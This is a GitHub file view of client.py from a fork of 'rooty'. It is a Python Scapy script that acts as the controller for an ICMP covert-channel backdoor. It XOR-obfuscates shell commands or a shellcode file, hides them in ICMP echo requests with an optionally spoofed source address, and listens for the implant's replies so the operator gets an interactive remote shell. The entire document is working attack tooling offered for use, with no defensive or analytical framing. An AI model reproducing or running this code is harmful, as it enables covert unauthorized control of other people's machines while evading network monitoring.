forked from hal3002/rooty
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathclient.py
137 lines (100 loc) · 3.29 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from scapy.all import *
import thread
import getopt
########## functions ############
def usage():
print "Usage:"
print "\tpython %s -i <iface> -d <dst_ip> [-s <src_ip>] [-f <shellcode_file>] [-h]" % sys.argv[0]
print "\t\tdst_ip: the host we are communicating with (Can be broadcast) (REQUIRED)"
print "\t\tiface: interface to send from and listen on (Default: eth0)"
print "\t\tsrc_ip: the address we want to send from (Can be anything)"
print "\t\tshellcode_file: send shellcode from this file to run on the host"
print
sys.exit(0)
def parse_args():
global iface, dst_ip, src_ip, shellcode_file
try:
opts, args = getopt.gnu_getopt(sys.argv[1:], 'i:d:s:f:h', \
['interface=', 'destination=', 'source=', 'shellcode=', 'help'])
except getopt.GetoptError, err:
usage()
for o, a in opts:
if o in ('-i', '--interface'):
iface = a
if o in ('-d', '--destination'):
dst_ip = a
if o in ('-s', '--source'):
src_ip = a
if o in ('-f', '--shellcode'):
shellcode_file = a
if o in ('-h', '--help'):
usage()
def generate_key_info():
return random.randint(0,65535)
def generate_key(key_info):
key = [0, 0]
key[0] = key_info & 0xFF
key[1] = (key_info >> 8) & 0xFF
return key
def crypt_data(data, key):
encrypted_data = ""
if len(data) < 18:
data += ("\x00" * (len(data) % 18))
for c in data:
encrypted_data += chr((ord(c) ^ key[0]) ^ key[1])
return encrypted_data
def build_pkt(src, dst, data, key_info):
ip = IP(dst=dst)
if src_ip:
ip.src = src
return ip/ICMP(type=8, code=0, chksum=key_info)/data
def sniff_packet(pkt):
global magic
if pkt[ICMP] and pkt[ICMP].chksum and pkt[ICMP].type == 0 and pkt[ICMP].code == 0:
data = crypt_data(pkt.load, generate_key(pkt[ICMP].chksum))
if data.startswith(magic):
print data[len(magic) + 1:]
def start_listener(iface, *args):
sniff(filter="icmp", iface=iface, prn=sniff_packet)
def send_shellcode():
global MSG_TYPE_SHELLCODE, magic, iface, shellcode_file
# Open and read the shellcode
f = open(shellcode_file, 'r')
shellcode = magic + MSG_TYPE_SHELLCODE + f.read()
f.close()
# Get the required crypto bits
key_info = generate_key_info()
key = generate_key(key_info)
encrypted_data = crypt_data(shellcode, key)
# Now send it
send(build_pkt(src_ip, dst_ip, encrypted_data, key_info), verbose=0)
########### main #############
MSG_TYPE_SHELLCODE = '\x01'
MSG_TYPE_COMMAND = '\x02'
magic = "GOATSE"
iface = "eth0"
src_ip = ""
dst_ip = ""
shellcode_file = ""
# We need use rand for key generation
random.seed()
# Parse the arguments
parse_args()
# Make sure we at least have a destination
if dst_ip == "":
print "ERROR: Destination must be specified"
usage()
# Do we send shellcode or start a shell
if shellcode_file != "":
send_shellcode()
print "Shellcode sent"
sys.exit(0)
# Create the listener thread
thread.start_new_thread(start_listener, (iface, None))
# Now just read our input and send commands
while 1:
line = sys.stdin.readline().rstrip('\n')
key_info = generate_key_info()
key = generate_key(key_info)
encrypted_data = crypt_data(magic + "\x02" + line, key)
send(build_pkt(src_ip, dst_ip, encrypted_data, key_info), verbose=0)